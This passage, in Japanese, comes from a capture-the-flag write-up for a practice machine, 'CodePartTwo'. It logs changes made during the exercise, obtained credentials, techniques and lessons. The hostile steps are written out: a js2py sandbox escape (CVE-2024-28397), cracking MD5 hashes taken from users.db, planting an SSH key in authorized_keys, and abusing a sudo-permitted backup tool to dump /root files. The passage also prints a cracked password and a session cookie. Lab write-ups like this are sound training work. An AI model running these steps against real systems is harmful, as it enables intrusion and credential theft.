    • 復旧方針: truncate -s 0 /home/marco/.ssh/authorized_keys、または元の空ファイルへ戻す。
    • 検証結果: 未確認。
  • 攻撃側 SSH 鍵ペア
    • 変更内容: Box 専用の ./codeparttwo と ./codeparttwo.pub を SSH 接続に使用した。
    • 元状態: 鍵生成前の状態は記録なし。
    • 復旧方針: 今回専用に生成した鍵なら両ファイルを削除する。
    • 検証結果: 未確認。
  • /tmp/npbackup.conf
    • 変更内容: ホームの設定をコピーし、paths に /root/ を追加して sudo バックアップに使った。
    • 元状態: このパスの事前存在は記録なし。
    • 復旧方針: rm -f /tmp/npbackup.conf。
    • 検証結果: 未確認。
  • npbackup snapshot 52a4bb12
    • 変更内容: sudo npbackup-cli -c /tmp/npbackup.conf -b により /home/app/app と /root を含むスナップショットを追加した。既存の 35a4dac3 はその前からあった。
    • 元状態: latest は 35a4dac3(/home/app/app のみ、root@codetwo、2025-04-06)。
    • 復旧方針: sudo npbackup-cli -c /home/marco/npbackup.conf --forget 52a4bb12 を試し、--ls で latest が元の内容に戻るか見る。実行記録なし。
    • 検証結果: 未確認。
  • 攻撃側 SSH known_hosts
    • 変更内容: codeparttwo.htb の ED25519 指紋 SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4 を追加した。
    • 元状態: このホスト名のエントリは記録なし。
    • 復旧方針: 該当エントリを削除する。
    • 検証結果: 未確認。
  • Web test / test
    • 入手方法: 自分で POST /register した。
    • 所属: アプリの user テーブル id=3。
    • 最初の使用: POST /login と GET /dashboard。
    • 有効化したアクセス: セッション Cookie 付きの POST /run_code。ハッシュは 098f6bcd4621d373cade4e832627b4f6(MD5(test))。
  • Web pwn / pwn
    • 入手方法: Metasploit の authenticate が POST /register した。
    • 所属: user テーブル id=4。
    • 最初の使用: 同関数内の POST /login(keep_cookies)。
    • 有効化したアクセス: CVE-2024-28397 を /run_code へ送るためのセッション。ハッシュは e4a25f7b052442a076b02ee9a1818d2e。
  • Flask セッション Cookie
    • 入手方法: test ログイン後の HTTP 通信で観測。
    • 観測値: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co。
    • 最初の使用: GET /dashboard と POST /run_code。
  • OS marco / sweetangelbabylove
    • 入手経路: /home/app/app/instance/users.db の 649c9d65a206a75f5abe509fe128bce5 を MD5 と判断し、hashcat -m 0 と rockyou.txt による辞書攻撃を再現手順として示した。解読実行ログはなく、平文の有効性は su 成功で確認した。
    • 所属: uid=1000 のログインユーザー。
    • 最初の使用: app シェルからの su - marco。
    • 有効化したアクセス: /home/marco/user.txt の読取、NOPASSWD npbackup-cli、SSH。
  • Web app のハッシュ a97588c0e2fa3a024876339e27aeb42e
    • 入手方法: 同じ users.db。
    • 使用: この経路では未使用。
  • user flag
    • Path: /home/marco/user.txt
    • Value: [REDACTED]
    • 入手方法: marco で cat user.txt。権限は -rw-r----- 1 root marco。
  • root flag
    • Path: /root/root.txt
    • Value: [REDACTED]
    • 入手方法: sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt。
  • 公開鍵(攻撃側 ed25519)
    • 作成手順: ssh-keygen -t ed25519 -f ./codeparttwo(鍵生成コマンドの実行ログなし)。
    • ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC
    • 変更内容: /home/marco/.ssh/authorized_keys へ書き込み。
    • 最初の使用: ssh -i ./codeparttwo marco@codeparttwo.htb。
  • Firefox の手動 HTTP プロキシ設定と Freja TUI でのリクエスト・応答の確認。
  • 公開されたアプリ ZIP から requirements.txt のピン留めバージョンを読み、既知 CVE と突き合わせること。
  • js2py 0.74 のサンドボックス脱出(CVE-2024-28397)。空オブジェクトの __getattribute__ から subprocess.Popen へ辿る。
  • 認証付き JSON API へ既存 Metasploit モジュールを移植するとき、HttpClient の keep_cookies、登録とログインのタイミング、AutoCheck の成功判定をエンドポイントの応答に合わせること。
  • SQLite の資格情報ダンプ、32 桁ハッシュの識別、hashcat -m 0。自分で入れたパスワードのハッシュがアルゴリズムの手がかりになること。
  • Web アプリと OS アカウントで同じパスワードが使われていないか、取得した平文で確認すること。
  • sudo -l で引数が固定されていない NOPASSWD バイナリは、設定ファイルやサブコマンドまで攻撃面になること。
  • root で動くバックアップツールに書込可能な設定を渡せると、バックアップ対象を追加して --dump で読めること。終了状態が errors でもスナップショットが残る場合がある。

この Box では、配布物の js2py==0.74 と認証後の POST /run_code が、最初に調べるべき入口を示していた。一方、同じ ZIP に app.py と users.db も含まれていたが、記録ではその段階で内容を確認していない。配布物を取得した時点で、依存関係だけでなく同梱ファイルの用途も確かめるべきだった。既存モジュールを移植したときの check は失敗表示になったが、原因は HTTP 200 JSON を成功と判定しない実装だった。判定メッセージだけで止めず、実際に開いたセッションとそのユーザーを確認する必要がある。

次の手がかりは sudo -l の引数制限がない npbackup-cli だった。元設定のリポジトリ情報を保って paths に /root/ を追加し、保存後に --ls で確かめてから --dump した。最小サイズのエラーとスナップショット保存が同時に記録された点も重要である。今後の Box でも、sudo 許可コマンドは設定ファイル、出力機能、実際に残った状態まで確認したい。